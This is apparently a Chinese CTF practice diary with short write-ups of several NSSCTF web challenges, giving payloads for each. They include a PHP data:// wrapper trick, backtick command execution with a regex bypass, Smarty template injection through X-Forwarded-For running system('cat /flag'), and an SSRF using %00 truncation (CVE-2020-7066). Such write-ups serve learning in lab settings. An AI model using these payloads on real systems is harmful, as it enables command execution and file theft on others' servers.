Bootstrap

Web刷题日记1---清风

[GDOUCTF 2023]EZ WEB

题目网站在NSSCTF

这个题目有一个新的知识点,对于我来说比较的少见吧,第一次遇见。em...是什么呢?后面再说

进入靶场,比较突兀,点了这个button后,提示flag在附近

 查看源码,有提示/src目录下载源码,进行代码审计


import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

这里只需要看最后几段代码,特别少见的PUT请求。

使用PUT请求,访问目录/super-secret-route-nobody-will-guess

 获取flag


[GDOUCTF 2023]泄露的伪装 

核心知识点:

  1. 目录扫描得到目录/orzorz.php
  2. 看见源码后,使用伪协议

 进入/orzorz.php目录,审计源码

这里使用data伪协议,获取flag

payload:orzorz.php?cxk=data://text/plain,ctrl

 

[HNCTF 2022 Week1]2048

核心:

  1. 查看源码,寻找js内容,然后在hackbar中的控制台运行js代码

进入靶场

从源代码中寻找flag,虽然没有找到,但是看见了2028.js文件,发现类似flag的js放控制台运行

这里成功获取flag,这里注意需要使用NSSCTF{},flag{}提交不正确

[GDOUCTF 2023]hate eat snake

核心:

  1. 控制台运行js代码
  2. js小游戏漏洞

方法一:js游戏漏洞

撞墙之后点取消,等待60秒,然后点空格直接报出flag

方法二:控制台运行js,跳过if函数

标红代码不用复制,控制台先运行非标红此函数,

然后运行alert(_0x324fcb(0x2d9,0x2c3,0x2db,0x2f3)+'k3r_h0pe_t'+_0xe4a674(0x5a1,0x595,0x59e,0x57c)+'irlfriend}'),![];再一次enter获取flag

[UUCTF 2022 新生赛]ez_rce

核心:

  1. rce绕过
  2. 反引号使用
  3. 正则匹配绕过

代码审计

1.使用反引号``,反引号作用是执行反应号中的代码

2.反应号和eval()函数均不会回显,这里使用print()函数

3.利用反斜线绕过正则,例如:l/s

payload:?code=printf(`l\s /`);

payload:?code=printf(`ta\c /fffffffffflagafag`);

 获取flag

[CISCN 2019华东南]Web11

核心:

  1. XFF注入
  2. Smarty简单命令执行

这里直接用burp抓包,然后进行XFF注入判断Smarty模板注入

回显:Current IP:16。说明存在Smarty注入

这里构建payload:X-Forwarded-For: {system(‘ls /’)}

payload:X-Forwarded-For:{system('cat /flag')}

 

[NISACTF 2022]checkin

核心:

  1. Unicode编码强制符

源码平常无奇

这里请放在vscode中进行查看

不要问为什么,因为我也没有搞明白

payload:?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6+Flag!%E2%81%A9%E2%81%A6N1SACTF

相关Unicode的强制符

[GKCTF 2020]cve版签到

核心:

  1. 简单ssrf---cve

这里没有信息使用burp抓包,这里注意响应头

payload:?url=http://127.0.0.123%00www.ctfhub.com
PHP 7.2.29之前的7.2.x版本、 7.3.16之前的7.3.x版本、 7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。可以⽤来绕WAF,SSRF利⽤。
cve-2020-7066

 知识点

00截断
get_headers() 返回⼀个数组,包含有服务器响应⼀个 HTTP 请求所发送的标头。
00截断包括%00截断和0x00截断
0x00是⼗六进制表示⽅法,是在ascii码中为0的字符,有些函数会将0x00当做结束符,从⽽进⾏⽂件上传的绕过

在url⾥⾯,get传⼊的%00会经过⼀次解码,解码为0x00,发挥截断作⽤。

;